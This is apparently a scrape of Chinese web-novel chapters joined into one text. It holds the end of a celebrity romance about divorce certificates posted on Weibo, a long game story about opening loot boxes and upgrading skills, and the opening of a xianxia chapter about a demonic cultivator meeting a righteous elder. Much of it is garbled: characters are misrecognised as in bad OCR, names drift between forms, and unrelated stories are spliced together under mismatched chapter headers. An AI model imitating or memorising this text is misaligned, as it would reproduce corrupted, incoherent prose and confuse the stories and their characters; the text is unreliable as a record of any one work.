“我谁的软饭都没吃过,你不是知道了吗?" 有些事情,两人早已心知肚明。 服看谢景和当即就要注册小号,去跟辱骂时蒲川的水军大战三百回合了,时川忙不迭抽走他的手机,拽着人上楼,从对方存放宝贝的保险箱里掏出那两本崭新的离婚证,然后抱着人. “咔嚓。两分钟后。正在网上高强度冲凉,吵得不可开交的众人就看到谢景和发了一条微博,文字部分很简练,就九个字。【[]谢景和:没剧本,真离了,在恋爱。】底下配了一张图。是一张自拍照。 照片中。 两个男人西装革履,穿着正式,其中一人的领结已经不见了,扣子解开了两粒,露出笔挺的锁骨。他们侧对镜头,面对着面,人手一本离婚证,挡住了贴在一起的下半张脸, 【啊啊啊啊,这个距离肯定亲了叭!!】 【有什么是我们不能看的?】【不是哥们儿,晒离婚证秀恋情,你们是这个[拇指]】【好哇好哇,黑子们还有什么可说的?!!】 还真有。【不是黑,纯路人,这能证明什么?这只能证明他们不是假离婚吧?那时蔺川吃软男是实打实被扒出来的吧?躺平任嘲谢谢。】见状,谢景和气鼓鼓地要用大号回怼黑粉,字都打了大半截,手机又被男人抢过去,直接用到了床上。时蔺川侧着脑袋,瞥他,“见不得我被骂?" 谢景和重重点头。 时蔺川拾手挠了挠他的下巴,又用力揉了两下谢景和的头发,掏出自己的手机,大拇指咔哒咔哒地敲击键盘,谢景和想趴过去看,他也不让。 片刻后。 他将自己的手机也甩飞,随口道:“好了。 谢景和满脸疑惑:“什么好了?” 时蔺川很粗鲁地解他的扣子, “澄清好了。” 两只手机安安静静地躺在床上,两人在屋子里吵吵闹闹,时蔺川狠了心要吃谢景和这口软饭,看看他到底有多软,而网上已经被他炸开了花。 原因无他。几位在金融圈有名有姓的大佬齐刷刷地登上微博,发了同一条微博:【我证明,时川不是软饭男。】随着时间推移,这一微博的数量还在不断上升,发博的人让网友忍不住揉眼睛,怀疑自己是不是看错了 【卧槽?!!我看到了谁??】 【全是只能在电视上看到的大佬啊】 【疯了,什么情况?】 情况就是 情况就是 喜鹊叫枝,谢景和喊时蔺川爸爸,呜呜咽咽哭个不停,大被一盖,顾不得外面那些风风雨雨。 睡前故事要讲。 先睡了再说。 159、if线:年少初遇 转远池裂得猝不及吃,从裂开维流到满池子的水流了一地只花了不到几秒钟的时间。共同富裕一群人鸦雀无声,沉默地看向刚!上了系统的周而复始,再看着从池水里流出来限难打挺的幸远鲤鱼,沉默做乎成了所有人缓解油油的采护色 怎么会裂了! 全网也没说幸运装置会裂的说法啊!! 摆烂哥看向富哥:“星网上有这种情况吗?” 这一句话问到了所有人的知识盲区,这让懂幸运流的,跟不懂幸运流的都无话可说。 能开箱子把幸运装置开裂了,这放在神树也是头一遭啊!!! “其实,裂了是不是说明幸运玄学是有用的。”小班小声说道。 可乐蘑菇解释道:“神树的幸运流一直是有用的,基础属性都有幸运。 这是关键问题吗!这可是集全网智慧为一体的顶配率运装置,这玩意就用了一次就服废了???这合理吗,他们要去聊再搞一套顶百的装置啊!他们看向原先池水中的率运币以及车运石等,表面都学现了除资的颜色,有几块石头甚至已经产生 了裂痕。 照青阳沉默了下,调出面板计算:“可以试试推导下幸运参数了。” “你推导不了。"陌上桑用着恍惚的眼神看向周而复始:“他这个人有多非多黑,没有上下限。而且我打的那个五星级幸运本只开放一次。 对转运池的哀悼不过两分钟,众人已经把注意力放在那吸干转运池运气的四个系统上。四个随机宝箱里最引人注目的就是最后一个系统出来的[幸运珠]。 “你们看看,我先不看了。”陌上桑不敢点开那个系统看详情,他对这个幸运珠没有信心, 其他人:“"………”我们就敢看吗! 周随已经摸到了包裹里的幸运珠,它的功能介绍随之浮现在面前 [幸运珠:放置在长流城的幸运之物,据闻有传说中雷神的祝福,开启状态下可以为玩家施加5分钟的幸运10%的buf,回气时间为72小时!] 不是一次性!有回气时间!buff是10%的幸运buff! 共同富裕众人的表情顿时灿烂起来了,用一个顶配转运池换来他们周哥第一个幸运道具,这种让人喜极而泣的感觉到底是怎么回事! “回头那些幸运攻略,记得给他们发个反馈。 摆烂哥道:“我家人师诚不欺我!!" 共同富裕一群人就差抱在一起痛哭了,周随看着这幸运珠感觉像是传家宝,他小心翼翼地把珠子放在角落里,随即看向剩下三个开出来的东西。 [启明玉佩]是装备,也是首饰类装备,65级金装备,属性偏向岐灵乡。 周随仔细看了装备数值,偏向岐灵乡药系的装备,但上面意外歪出了两条物攻跟速度,细数下来除了两条疗效类词条用不上,其他的词条都比他身上现在的装备好很多,属于是红了一件装备。 他把装备穿上,看向其他两个掉落,一个是[屋神的脚毛],一个是[生锈的悬索]。 这种看起来就是奇葩的东西,周随以为又是像欲神老头那种技能材料打造道具,结果伸手去碰显示出来的道具介绍却让他愣住了- (屋神的脚毛(特):传说中屋神极其爱护自身的皮毛,用着顶级屋气与灵力溢养,每一根毛发都蕴含着庞大的力量,可用于技能材变异技能升级,契合所有属性的变异技能,喂养有特殊的效果!1 这个东西不是技能打造材料,而是技能升级材料。 “卧槽,特级的材料???最高级别居然不是金色吗!还有特级的!" “它这个材料的描述背景是金色黑纹的啊!" “昨天晚上我在论坛上看到有人说开到特级树粮,我还以为他们在吹牛逼,真的有啊!" 特级的树粮这还是第一次出现在周娘的主箱里,放在以往他是开几个金色树粮都要说运气好的存在,而且这个树粮还是契合所有的属性的,那也就是意味着喂技能的时候不会打折扣,周随的段时间打造神兵跟喂其他的技能已经把仓库挥霍 空了,剩下的树粮材料都是跟技能不协调的。 [生锈的悬索:蜃楼外残缺的悬索,似乎蕴含着特殊的力量。1 这个是技能打造材料,还未打造,所以情况未知。 四个系统,算下来居然都没有黑。 除了系统,周随的包里还有20+个金色树粮,相对比他以往的开箱经验,这次献了转运池的开箱可以说是大获全胜, 旁边的队友们看到这心安了,心安之后看向转运池又沉默了。 这种顶配的转运池,他们要打多少个本才能给他们周哥造一次! “很好用。”照青阳的眼睛从生锈的悬索上移开,眼中带着些许的遗憾:“特级材料提供的经验不是普通金色数量能比拟的。 话说到这了,周随先看向的就是碎影步,他看向幸运珠道具有点犹豫。 他直接打开了幸运珠,5分钟的buff浮现在他的状态栏,他立刻就把包裹的脚毛给碎影步喂上。 金光流逝而过,蜃神的脚毛化作经验值涌入碎影步技能里。 经验条居然快速地飞涨着,将只有初始等级的碎影步一口气升了两级! 两级,这放在以往周随得喂多少个金色材料,特级材料给的经验值这么多吗? 【药铺·碎影步(稀)(0/5)】 【升级效果·乱影残相(1/5)】 碎影步基础效果保留,持续时间变更为10秒,所获得攻击加成效果持续时间12秒,回气时间60秒! 【升级效果·乱影残相(2/5)】 碎影步基础以及升级效果保留,玩家进入碎影状态下攻速获得5%的提升! 周随没有停下,他只是扫了眼技能,趁着buf存续的时间迅速把先前攒的材料翻了出来,先前卖给照青阳乌云冠的材料费都在仓库里,他把相近的材料全都喂了进去。 投喂树粮需要时间,周随把技能接连打入,碎影步的等级节节攀升,经验条跳过一级又一级,直接升到了满级! 【升级效果·乱影残相(3/5)】 碎影步基础以及升级效果保留,连击超过6个目标及其以上,玩家将获得8%的攻击效果加成! 【升级效果·乱影残相·异(4/5)】 碎影步产生变异效果,玩家可选择开启1月效果,处于该效果下时,失去原先基础与升级效果,玩家连击目标时络获得群控效果,在攻击过的玩家身上施加混乱,诱惑状态,处于该混出,状态下的敌方玩家将会天差别地使用出枝能,连击成功贝 可刷新混乱·诱惑,最多可对8个单位施加此状态。回气时间60秒! 【升级效果·乱影残相·异(5/5)】 碎影步继承变异效果,玩家每混乱一个敌方单位则可叠加1%的速度加成,最高叠加8%速度加成 速度加成持续时间约为10秒,玩家连控8个单位,则可将速度加成延续至20秒! 幸运珠的加持下,居然没有出现歪技能的情况! 前面三级技能是对原有碎影步的加强,增加了持续时间,还加了攻速。后面两级技能直接变异出群控技能,还是骗技能的控制技能! “卧槽,好像是魅惑类技能啊!”青蛙道。 大叔看过来:“魅惑技能神树有给数据,好像是0.001%的概率吧!" 越是高级玩家,对控制技能的反应速度越快,像是缓速僵直等等这种基础的控制技能,最多只是控住玩家几秒时间,甚至在解控技能的协助下可能控不住,从不是高玩们的威胁。 而魅感类技能是控制技能中刷出来最少的,这种技能可以骗玩家技能,在pvp场中玩家的技能链几乎是算好的,一旦被魅惑,可能会随机把大招技能交了出去,导致技能链断层,这是pvp交手中最害怕的技能。 骗一两个小技能是小事,大招或者爆发技能被骗了,面临的就是十几秒或者是一分钟的回气时间,失误的概率大大增加,遇上高玩,很有可能就被对手一套带走了。 魅惑技能是控制技能里最难打的一种,居然被周而复始打出来了。 周随感觉自己有点好运过头了,这个技能全程都没有歪。 好像在幸运珠的加持下一路顺风顺水。 “这珠子跟周哥的适配性好高啊!”可乐蘑姑道。 三千客:“转运池好像是献祭成功了。 周随不是没用过幸运装备,照青阳的幸运装备用在他身上就哐哐爆法装。 每次红都能歪到其他流派的极致上去,这还是第一次幸运珠完美加成了周随的运气,玄真的好像救非了! “我继续了。”周随道。 其他人:"?”哥你这么自信的吗! 周随很自信,他第一次这么红。 喂养技能耗费了一点时间,幸运bufF五分钟转眼就要消失了,周随见状立刻趁热打铁开了指向性箱子,指向性箱子可以选择想要开出的掉落方向, 周随毫不犹豫地选了两个装备两个技能材料 【公告】周而复始打开了[屋楼奇物(指向性)],里面赫然是[夺魄戒】! 【公告】周而复始打开了[幻境宝箱(指向性)],里面赫然是[启明镯]! 【公告】周而复始打开了[兽瞳碎片宝箱(指向性)],里面赫然是[瞳眼]! 【公告】周而复始打开了[屋影迷雾宝箱(指向性)],里面赫然是[天武之秘]! 四个公告出来的时候,神树各地瞧见系统的玩家纷纷看去。 而在妖魔怪密集的郊外地段,两个并肩行动的玩家在看到系统时薨然拾头,为首的阵师将系统往上翻,停在了后面的系统上,眸光中带着几分异色。 【世界】飞来飞去:我靠,周而复始连续开箱! 【世界】绒绒绒:启明镯跟夺魄戒??? 共同富裕家园里,共同富裕众人正在点开系统查看装备详情, 前两个出来的系统是装备,而且都是65级金色首饰, [夺魄戒]是一个很普通的戒指,好就是全物攻,坏就是数值都是平平无奇。 明明是个金色宝箱里开出的戒指,它却能完美地踩在下限,简直是黑到了极致。 而至于可以组成套装效果的[启明镯|,则是另一个极端,细数下来4条疗愈金色词条,2条基础疗愈紫色属性,剩下4条是buf加成,而且都是将近满数值! 上两个被周随开出来的极品装备还是照青阳两个爆发法系的装备。 这次开出来的是极品药师装备! 家园里鸦雀无声,先前的红好像突然成了一场梦。 随机的四个箱子红了,指向性的箱子开出来两个装备都用不上,他们周哥怎么红都红得跟别人不一样! “周哥好像没出过极品器师的装备。”之前那个飞星袍不是吗?" “那个没高级属性啊!" 周随看到启明镯的时候停住了,之前开出来的启明玉佩是岐灵乡药系的装备,歪了几个词条恰好话合他,而摆在面前的这个启明镯是完美的药师装备。 世界频道炸锅了,周而复始开箱是一大群吃瓜玩家注意的事,前面红了四个系统已经有人在说他转话,结果这次爆出个极品药系,不止是世界物道上的药师来询价,就许好友系统里药师都流滴发来消息。 这个装备是周随铁定用不上的,6条疗愈注定就废了。 而对于辅助系药师来说,这玩意是顶尖装备啊,价值不亚于照青阳的长风裤。 周随看一眼,就知道这个装备很适合一度阴阳。 他见过一度阴阳的技能树,全buff的技能树,这四条buff加成带来的是全技能树的增益, 世界频道跟好友列表的问价都被他——拒绝了,启明镯被他上锁放在了一边。 共同富裕众人看着周随,生怕他们周哥好不容易红一次又被打击到了,结果几个人看过去,发现他们周哥脸色依旧,一点沮丧都没有,看起来好像还有点心情不错。 “你们的注意力都在装备上吗?" 陌上桑忽然道:“他后面有个箱子歪了。 歪了???什么歪了? 指向性箱子是可以开出相对应的材料,比如选装备就会开出装备,周而复始前两个系统都是装备,陌上桑却注意到了周随后面的系统,,[兽瞳]跟[天武之秘)。 [蜃兽瞳:蜃神所化蜃兽残留的力量,或许有特殊的效果。1 [天武之秘:天武卫叛逃武师携带的秘密,似乎与神明禁术相关。1 蜃兽瞳是打造材料,这个没有任何问题。 有问题是在第二个天武之秘,这个不是技能打造材料。 众人疑惑的时候,局随已经把天武之秘拿了出来,出来的是一个卷轴。周随是开指向性箱子的,选的技能打造材料,这个箱子开出来的东西理应跟(蛋兽)那样是打造材料,可目前这东西放在技能树上却没有任何反应。 “系统bug了??”青蛙道:“不会吧,这可是神树啊!" 王脑大概率不会品意外,只能说周而复始这手中的东西,就是指问性箱子里会掉落的很有可能是稀有道具,才会导致越过指向的打造材料,出现这类特殊物品.“这东西,我怎么看起来有点眼熟。”摆烂哥说道。富哥:“我感觉也有点。陌上桑看向周随,“你们见过的,他在陈家寨也得到个差不多的道具。周随在这时候拿出了另外一样东西,出来的是一本打不丌的书,一个遗留许久的道具。在陈家寨副本里,周随拿到过三样道具,陈家寨之令、禁术残卷以及岐灵之秘。[岐灵之秘]的物品信息描述,跟现在开出来的这个[天武之秘]几乎是一模一样!岐灵是指岐灵乡,天武是天武卫。这不是玩家五个出生地,也就是职业流派所对应的吗!“两个道具放在一起有反应吗?”照青阳问。周随对剧情不敏感,队友这么说,他就照做,只可惜两样东西放在一起没有任何反应,书别说翻开了,一点动静都没有。还未等其他人看出所以然来,周随忽然收到猫登登发来的消息其他人看过去,就听到他们周哥说道:“我先下线吃饭了。这个点?你下线?共同富裕一脸懵逼,就看到他们周哥化作飞烟直接原地下线。共同富裕心里一咯噔。陌上桑问:“你们在星网上搞事了?"青蛙犹豫三秒,问:“点赞猫哥鬼畜视频算吗?”富哥:“我刷到狗老大裤子飞飞的视频,也点了。其他人没说话,互相咳咳地移开了目光。陌上桑犹豫地望过去,来这么多人,周而复始不在他们打不过啊!!“周而复始呢!”哈巴犬的声音急切:“我知道他在家,你们开门啊!权限封死了!"共同富裕众人:“…!"难道他们周哥也点赞了!?"有剧情急事!”哈巴犬拍着门,怕这些人听不到,就喊道:“不算账!!"共同富裕其他人松了口气,不算账啊,那没事了,可以放。因为蜃神本,周而复始名声显赫,不少人都想加他好友,申请拜访的人数太多了。摆烂哥就把家园访问权限提到最高级,还没把盟友们放进去,“等等,我马上就打开。他手忙脚乱地操作着,不小心蹭到什么东西,眼前顿时卡了一下。摆烂哥有种不好的预感,急忙看向设置界面,眼睛黑了一下,他哆嗉着说道:“我刚刚好像手滑.….把陌生人系统勾给取消了。其他人:"?""!!!"周随下线并不知道家园里发生的事情,通讯器都丢在房间里,下线赶着去吃晚饭,这次丰盛得周随有点诧异,尤其是对上对方温柔的目光。“他说你刚体检回来,累了得吃点好的。”猫说。周随心心说他好像也没多累,肚子就咕了一声信息,划开信息的时候全都是@周而复始。回得很慢,但也是回了。季栖元微微垂眼,他以为昨晚的@已经很多了。没想到现在的@更多,他抬眼看向对方,后者正在干饭,身边也没带通讯器,季栖元选择无视了通讯器里其他消息,休息的时间,不宜被打扰.之后他得跟哈巴犬说说,给周随弄个防骚扰权限。人太多,容易有心怀不轨的人。“你刚刚上游戏了?”季栖元问。“唔。”周随嚼着东西,“上线开了箱子,红了。刚刚开箱子的时候季栖元没在,周随忽然想到两人一起打游戏以来,这好像是他第一次对方不在的时候开箱子。季栖元闻言就想问他开出什么东西,只是还未等他问出口。周随已经开口把自己开出幸运珠,打造技能等事情都说出来了,"…….技能是红了,还有几个东西没弄,等上线去弄。其实他还想等三天后幸运珠的CD到了,看看能不能再红一次。他顾着说,没注意到季栖元什么时候没说话了。周随才意识到,刚刚一直是他在说,季栖元都没说话。"就差不多这些了。”周随没再继续说了,两人的对话里,周随主动说话的次数很少,多半都是季栖元在引导。这还是第一次,周随说这么多,季栖元笑笑:“没有,你下次可以多说点。"只是这种好心情,在两人吃完饭休息一小时后上线时荡然无存。周随上线就看到一堆人在家园里,所有人齐齐地看着他,个个的眼神里带着''你怎么才上线’的哀怨感。啊啊!!!垃圾神树就不能搞个一键拒绝的按钮吗!”“他手抖设置错了,把共同富裕的屏蔽系统全开了,现在一堆你粉丝全都在访问共同富裕。布偶猫说道:“我排队半小时才挤进来。”家园特殊的设置必须得是清理完所有信息才能重新设置。开放只有两分钟,然而申请的玩家已经数之不尽,拒绝还得手动拒绝,或者就一键忽略等访问信息2分钟过期,放在平时很容易解决的事情,偏偏事主是周而复始。摆烂哥已经加急跑去找神树客服了。陌上桑:“问题不大,人都齐了,我们就可以开会了。"“剩下等摆烂或者神树客服,把信息清理了再开屏蔽就行了。周随暗道不好:"…兔子还在外面。其他人:"?""!!!" 这前脚网!一下线,共同富裕家园们门口就传来疯狂按门铃的声音,共同富裕玩家还疑感,一眼看去就看到了各个认识小队的熟人,天下无双的管理们全跑过来了,个个脸色焦急,一看就是为了大事来的。 看到饭桌上的五菜一汤时愣住了,菜里面三道肉菜,连汤都是新鲜鱼汤,上次季栖元做这么多菜的时候还是他刚刚回来寝室的时候,后来周随病了,季栖元对食谱的把控更严格了,每天最多就三菜一汤。 只是季栖元刚坐下,他的通讯器就登登地冒着信息,视线扫过的时候发现全都是他跟周而复拾共群里的信息,全都是在@圆而复始。季栖元留了心思,所有与周随相关的信息全都加0了特关,这会其他人@周随,不到币分钟已经累积了几十条 这段时间经常看到,自从昨晚他发现周随加了天下无双的精英群跟总群后,总有莫名其妙的玩家时不时就@他,包括今天在体检的时候,周随还抽空回了几个人的消息。 不知道是不是自己的错觉,周随发现今天季栖元的心情好像变好了,回来之后他总感觉季栖元有点闷。他以为是工作的事情才闷,就没多问,而现在似乎变成好心情了。 他看着石桌边上坐着的飞需凌云、动物园、隐仙等管理,再往看的时候看到了其他清求拜访的玩家身影,远远望去决决一片,什么玩家都有,旁边是个正在忙碌操作访问系统的摆烂哥,“*,我已经连续拒绝了一个小时了,怎么这么多人网 天下无双的管理们汗毛骤然一抖! 长流城内,人来人往的玩家挤在传送点,下线在家园外的季栖元点开传送系统。 他冷着一张脸,点了一遍又一遍。 [您好,共同富裕家园同时访问人数过载,请稍后再试。] [您好,共同富裕家园] 季栖元:“" 160、Chapter 160 屠天霸死了,享年三百又二十七岁。 有道是“修真无岁月,悠悠数千载”,凡人炼气悟道,但成功筑基才算是真正入了道,根据个人体质与灵根悟性,可享寿命两三百岁,换句话来说 三百二十七岁,正是闯的年纪。 然而,此时此刻。 屠天霸的肉身已经凉透了。 此消息若是传出去,必然撼动整个修真界。 只因为,他并非位于筑基期的无名小卒,而是名头响彻修真界的大人物,曾于三百年前自立宗门「戮天宗!,门下收批了无数行事狡诈凶狠的窳修,众人无一不尊称他一吉。 “尊上。 其他正道人士怎么也得喊一句, “魔头!" 屠天霸年幼入道,这是他一路杀出来的威名。 其实他本是一个生活在贫苦村庄中的孩童,母亲在生下他那天就血崩而亡,由屠户爹一手将他拉拔养大,直至七岁那年,一位散修仙人路过村落,发现他有修仙资质,便收他为徒弟,带他出村修行。 临行前。 他的屠户爹与一众村民跪在地上拜别仙人,又拉着他的小手殷切嘱咐:“儿啊,日后好好跟着仙长学法术.… 屠天霸含泪告别唯一的亲眷,从此踏上了求仙问道之路. 师傅蓝道子待他极好,不仅教他炼气心法,也不吝于灵石丹药来培养徒弟,屠天霸一个月便引气入体,此后十年筑基,这修行速度放到哪里都能称得上一句''天才'' 筑基那日,蓝道于高兴得捋须叹道: “徒儿,我的好徒儿….…" “你不愧是天生邪骨,修仙炼宝的好材料啊!也不枉费为师对你多年栽培,如今到你回报为师的好时机了!" 于是,屠天霸眼睁睁看着一袭素白道袍的和蔼仙师嘴脸骤变,面目狰狞而又阴邪,大手一挥,祭出了一方通体漆黑如墨,泛着暗红色光芒的邪鼎。 “此乃炼魂晶!" 话罢,那方巴掌大的黑鼎凌空飞起,鼎口倒扣,化作了遮天蔽日的暗影,有血色零气自其中溢出,将屠天霸围绕,他清晰地看鼎身刻满恶鬼头颅,似在无声嘶吼,让人手骨悚然 血雾中掺杂着凄厉的鬼哭尖啸,让人毛骨悚然。 方才筑基期的屠天霸自然不敌元婴期近乎圆满的蓝道子,转瞬间便被投入鼎中充当炼器材料。 阴魂穿身,邪火烧魄。 他在品里待了七七四十九天,浑身须发与血肉都被炼没了,骨架子都熏黑了。 后来,居天霸才知道- 蓝道子此人,不是什么散修仙者,而是心狠手辣的魔修,偏偏喜欢装成善人模样,先行哄骗,再将人打入无边炼狱,一边观赏对方绝望的模样,一边放肆大笑。 他在机缘巧合之下获得炼魂鼎这一重宝,不敢轻易驱使,恐怕会被邪鼎反噬,所以到处抓人填进鼎中焚炼 屠天霸还知道- 原来蓝道子前脚带他离开,后脚就将整个村庄的人畜祭了鼎 那日的告别,竟已是永别。 屠天霸悲愤交加,在最后关头居然与炼魂鼎相融合,修为大涨,随后驱动邪鼎,成功反杀了修为比自己高出许多的蓝道子,炼化吸收了他的全部修为,一朝从筑基跃为元婴. 只是他的血肉须发都被炼魂鼎吸收,魂境难以分离,只能用血雾覆盖骨架,重塑肉身。屠天霸已经不知道自己还是不是人,办或是变成了炼魂鼎的一部分,只知道耳边时时刻萦绕着鼎内冤魂的哭嚎啸叫 吵得人脑袋疼,恨不得挖脑剜耳。 他试过,没什么用。 反杀蓝道子之后,屠天霸先是回乡了一趟,亲眼看到与世隔绝的小村落被烧成了一片灰烬,只剩下满地荒芜,没有半点人气。 屠天霸心中悲怆不已。 然而,当他的情绪越激动,他就越受炼魂鼎的影响,仿佛自己也成了渴望吞噬血肉魂魄的邪兵,理智近乎全无. 思来想去,屠天霸决定解决一下人鼎相融的问题. 没办法。 真的太吵了。 他的耳边每时每刻都有近万道声音在哭泣哀嚎,见了人就大喊"杀杀杀’,哪怕是路过一条野狗,也是''杀杀杀'' 杀声一片,不绝于耳。 屠天霸不堪其扰。 恰时,他听说修真界有一门派,名为「妙仙宗」,宗门上下都极为擅长疗伤治病,宗主更是身怀妙手仙术,据说就没有她解决不了的疑难杂症。 于是,屠天霸便揣着从蓝道子那里捡来的储物袋,打算上门求助。 万万没想到,他这一路上遇到了不少修士,这些人见了他便大喊魔头,还提着武器要对他杀杀杀。 屠天霸:“?" 一开始,屠天霸尝试过解释:自己并非魔修,只是因为炼魂鼎里的魔气灌体,才显得他不像个好人,双眼通红也不是弑杀喋血,只是一个安生觉都睡不了,致使容貌有损 但那些正道修士只当他狡辩,仍旧要对他杀杀杀。 结果么,无一例外。 当然是屠天霸将其统统反杀了。 太烦了。 这些正道修士实在是太烦了。 对战结束后,炼魂鼎无需他驱动,自动吸收了那些人的修为,让屠天霸的境界更上一层楼,但他本人却并不开心。因为随着他的修为愈发高,耳边的噪声就愈发吵,叫人头疼欲裂 摘掉脑袋也无用。 这声音作用于他的神魂,无法摆脱。 只是屠天霸人还未到妙仙宗,便被一大群集结而来的正道修士包围了,众人对他横眉竖眼,喊打喊杀,声称要替天行道 屠天霸一招“顷刻炼化’,耳根子终于清静些许。 可惜他在外求医问药十载,遇到的都是对自己不加辞色的修士,屠天霸历经百般艰险才抵达妙仙宗,对方却果断开启护山阵法,将他拒之门外,还口口声声说什么 再进一步,便要开阵诛杀魔头。 屠天霸实在受不了这个气。 他只是想看个病啊! 但他没有听从炼魂鼎内的冤魂哭喊,对胆歌组拦在自己身前的人杀杀杀,而是找了个山清水秀,灵气充沛的地界,建立自己的洞府,从这些年自己收获的储物法器中寻找医术相关的书册与修炼法门 问题不大。 他可以学医术,自己救自己。 还真被他找到了。 屠天霸逐一试过。 不管用,就换一个法子。 后来不知怎么的,陆陆续续有魔修往这附近聚集,听闻他正在为头痛之症与分魂之法烦心,便主动上贡相关灵植丹药、法器、以及名类秘法,更是奉屠天霸为主,称其为''尊上'' 屠天霸一点也不喜欢魔修。 当然了。 他也不喜欢对自己没有一个好脸色的正道修士。 两厢比较,还是魔修稍微好一点吧。 起码杀起来没那么多废话。 此后三百年,屠天霸醉心研究怎么把自己和炼魂鼎分开,然后好好睡一个清静整觉,期间实在被耳边的“杀杀杀”吵得受不了了,他就提着屠刀往洞府外头的小山坳走去,杀头猪解个瘾。 顺便庆祝一下他的''肉灵芝’疗法初见成效。 近百年,屠天霸琢磨出了一种分离之法-一先以肉灵芝养骨,令其重新长出凡人血肉;再者他如今已是合体期修士,不日就能突破至大乘期,到时就借雷动分离他与炼魂鼎。 不成功,便成仁! 为了这一天,屠天霸已经做足了准备。 然而,在雷劫到来之前, 有个人骤然出现在他的洞府附近。 这日,乌云低垂,阴风呼啸,带着刺骨的凉. 空气里弥漫着一股腐朽与血腥的气息,远处的山峦形状崎岖,寸草不生,在灰暗的天幕下显得很妖异,全然不见三百年前的好光景 彼时,屠天霸正提着刀往山坳里走,转过一弯,就见前方站了个陌生男人。 那人身姿挺拔,身着一袭月白素衣,衣袂随风拂动,宛如月光缓缓流淌,容貌更是俊美非凡,整个人如玉石一般,清透明亮 屠天霸不由得脚步稍顿,愣了一刹。 修真界遍地俊男天仙,但他还是第一次见到这么好看的人。 可以说是,天仙中的天仙。 男人驻足在这阴沉山坳中,周身仿佛萦绕着淡淡的光华,凝神望过来时,屠天霸只觉得对方的眼里有种清风般的柔和,却又带着一股无形的威压,让他微感不适,耳边的啸叫猛然炸起, “肯定是来找麻烦的正道修士,杀!” 屠天霸当即抬掌,恶狠狠地抽了自己一个嘴巴子,怒骂道: “吵什么吵,我还没发话,轮得到你们来叽叽喳喳?!" 啪的一声,响彻小山坳。 聂无洄微微一怔。 “小友,为何伤害自己?" 聂无洄出现在此处,实非偶然。 修真界宗门众多,其中「归清门」乃是公认的正道魁首。 宗门建立已有千年,聂无洞正是归清门的长老,坐守灵兆山,如今的门主见到他,还要叫他一声师叔,不过他已闭关了三百多年,期间谁也未见。 就连他的亲传徒弟顾宸,亦有三百年未见了。 因此,谁也不知道聂无洄一出关,就来了此处。 其实就在方才,他还处于闭关状态,只是忽然感应到腰间玉简隐隐发烫,随后,玉显现出一行地名. 下一秒。 聂无洄便被传送到了此处。 想到这里。 聂无洄抬眸望了一眼不远处的那位身份不明的少年。 少年生得一张娃娃脸,眉眼清秀,看着约莫十六七岁,只是修真之人的外貌做不得数,聂无洞自己都将近一千三百岁了,样貌却始终停留在二十出头的年纪。 况且,此处境地简直魔气冲天。 能在这里走动的人,怎么看都不会是一个普通的少年人。 然而,少年虽长了一双圆润明亮的杏眼,眼尾微微上挑,似乎带着几分天真无邪的笑意,但眸中却黯淡极了,仿佛已经疲惫不堪,身上的衣服也是用普通布料制成的短打。 再加上,对方一言不合便自赏耳光的行为. 疑点颇多。 聂无洄知道魔修喜欢抓普通人炼丹、献祭法阵、或是供自己奴役差使,他没有轻举安动,而是向对方确认道: “小友,敢问此处可是「连戮峰!?" 少年歪了歪脑袋,表情疑惑,像是没听清他的问话。 聂无洄只好重复了一遍。 随后,少年摸了摸被自己扇肿的脸,很纳闷地应道:“不是啊,我在这里住了挺久的,没听说过。 聂无洄又问:“那后头,可是「血骨洞」?“ 他拾手一指,举手投足间自带一股仙家风骨,屠天霸循着他所指的方向扭头看了一眼,正是自己的来处,迷惑又不解地应道:“啊?血什么洞?那不就是个苦普通通的山洞吗?’ 上一个住在那里面的,还是头野熊 “也没听说过啊。”他补充道。 屠天罐说完,暗自感级自己这百年来的膊气果真是好了不少,居然能跟正道修土心平气和地说话了-一可能是因为这个人长得实在太漂亮了,并日没有一上来就对自己亮把式,但也可能是他的疗程见效,不仅容独恢复许多,魔气也能妆成 自如了。 屠天霸。 你可太棒了。 想着想着,他的心情好了些许,还主动说了一句, “这里都是魔修,你还是快走吧。" 不过他受不了其他魔修涉足自己的洞府,谁敢造次,屠天霸反手就是一个''杀杀杀’,所以附近山头只有他一个魔修。 只是屠天霸近百年来专心致志地养肉身,准备迎接天雷劫,如今正是重要时刻,他不想为了别的事分心。 主要是,对面那人说话温温柔柔,还挺好听的 所以他才难得耐着性子,说了句实诚话。 然而,聂无洄一步未动。 他不能走。 三百年多前,占星派的大长老曾造访归清门,与聂无润坦言自己用一身修为行卜算之术,算出修真界将有灭世大灾,到时候怒怕整个世界都会消亡,只有聂无河能扭转乾坤,消解此劫。 大长老只留下一道预言玉简,便殒命归清门。 此后三百年。 聂无洄闭关修炼,等待应劫之日的到来。 正是今日。 他回忆着玉简上显示过的文字,缓缓道:“我来找一个魔修。” 迎着少年的眼神,聂无洄继续说: “连戮峰,血骨洞。" “_-我找居小明。" 他思索着,语气有些迟疑,“占星预言说,我必须杀了他,才能阻止灭世浩劫。”话音刚落。对面那位少年脸上的浅浅微笑猛地僵住了。他的外表看起来人畜无害,娃娃脸生得格外顽皮可爱,但周身却喷涌出一股血煞阴气,纯真的面庞底下藏着令人心悸的杀意。"…屠小明?"屠天霸许久没有听过这个名字了。按道理来说,知道这个名字的人都已经死光了,比如他爹和一众村民们,比如他的师傅蓝道子,又比如,他在外游历十年期间遇到的正道修士。似嘲讽、似冷笑、似哭嚎.屠天霸忽然听到他爹的尖啸,忍不住拾头望天,却见这片天黯淡无光,不自觉地喃喃道:“爹,我不想修仙,修仙一点也不好玩.…"下一瞬。 聂无洄就见那名少年蓦然淌下两行血泪,历声质问他, “原来你也是来杀我的?" 不等聂无洄反应过来,少年像是变脸一般,满脸怒容与嫌恶,周身笼罩在浓重的血雾中,雾气隐约形成了一方鼎的模样 他冷喝一声,口中低喊: “本尊正是戮天宗·邪骨魔尊·屠天霸! "你找死,我成全你!" 转瞬之间。 少年又开始狂扇自己巴掌,高声道: “闭嘴,统统给我闭嘴!" “不许说话,谁再说话我抽谁!” 阴毒血雾直逼聂无洄的面门,化作一张张骷髅面孔,似乎想要将他撕咬成碎片。他乃是大乘期修士,顿时身形一闪,手中已然握住了自己的本名仙剑,名为[不驯。 但聂无洄没有轻举妄动。 少年被血雾围绕,时哭时笑,形似癫狂。 就在这时。 聂无洄似乎感应到什么,抬头一看,面色不由得一凛。 就见天穹之上,乌云翻滚,泛着冷冽蓝光的雷蛇在云问盘绕,发出叫人不寒而栗的咔咔声响,转瞬间便往天底下劈来,仿佛要将此间两人撕成碎片! 是天雷劫! 屠天霸死了,但没有全死。 只是肉身凉了. 魂还在。 鼎也还在。 全是坏消息! 